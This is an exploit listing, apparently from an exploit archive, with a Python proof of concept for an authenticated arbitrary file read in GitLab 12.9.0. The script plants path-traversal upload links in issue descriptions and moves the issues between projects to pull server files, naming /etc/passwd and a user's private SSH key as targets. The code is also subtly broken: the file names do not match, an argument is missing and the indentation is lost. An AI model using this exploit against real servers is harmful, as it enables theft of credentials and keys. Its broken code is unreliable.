Gitlab 12.9.0 Arbitrary File Read

`# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)  
# Google Dork: -  
# Date: 11/15/2020  
# Exploit Author: Jasper Rasenberg  
# Vendor Homepage: https://about.gitlab.com  
# Software Link: https://about.gitlab.com/install  
# Version: tested on gitlab version 12.9.0  
# Tested on: Kali Linux 2020.3  
  
  
  
#You can create as many personal access tokens as you like from your GitLab profile.  
# Sign in to GitLab.  
# In the upper-right corner, click your avatar and select Settings.  
# On the User Settings menu, select Access Tokens.  
# Choose a name and optional expiry date for the token.  
# Choose the desired scopes.  
# Click the Create personal access token button.  
# Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.  
  
# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html  
  
# pip3 install gitlab  
# pip3 install requests  
# Use a client cert to verify SSL or set to False  
  
import os  
import requests  
import json  
from time import sleep  
from gitlab import *  
  
session = requests.Session()  
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False  
  
host = ''  
  
def exploit(projectName, issueTitle, files, token):  
  
gl = Gitlab(host, private_token=token, session=session)  
gl.auth()  
p1 = gl.projects.create({'name': f"{projectName}-1"})  
p2 = gl.projects.create({'name': f"{projectName}-2"})  
  
for i, f in enumerate(files):  
stripped_f = f.rstrip('\n')  
issue = p1.issues.create({ \  
'title': f"{issueTitle}-{i}",  
'description': \  
"![a](/uploads/11111111111111111111111111111111/"\  
f"../../../../../../../../../../../../../..{stripped_f})"})  
print(issue.description)  
sleep(3)  
try:  
issue.move(p2.id)  
except Exception as e:  
pass  
sleep(3)  
  
if __name__ == "__main__":  
  
write_files = ['/etc/passwd', '~/.ssh/id_rsa']  
with open('senstive_files', 'w') as sens:  
for file in write_files:  
sens.write(file)  
  
files = list(open('sensitive_files', 'r'))  
exploit('project-1', 'issue-1', files)  
  
`